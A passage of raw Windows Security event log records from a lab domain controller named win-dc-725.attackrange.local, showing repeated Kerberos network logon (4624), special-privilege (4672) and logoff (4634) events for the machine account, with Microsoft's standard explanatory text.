-Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249249 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0C33 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64188 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249248 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0C33 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249247 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0BD2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249246 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0BD2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64187 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249245 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0BD2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249244 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0B6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249243 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0B6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64186 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249242 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0B6C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249241 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0B0B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249240 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0B0B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64185 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249239 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0B0B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249262 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0E21 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249261 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0E21 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64192 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249260 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0E21 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249259 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0DC0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249258 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0DC0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64191 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249257 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0DC0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249256 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0D5A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249255 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0D5A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64190 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249254 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0D5A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249253 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0CF9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249252 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0CF9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64189 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249251 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0CF9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249274 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0FBE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249273 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0FBE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64196 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249272 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0FBE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249271 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0F5D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249270 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0F5D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64195 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this 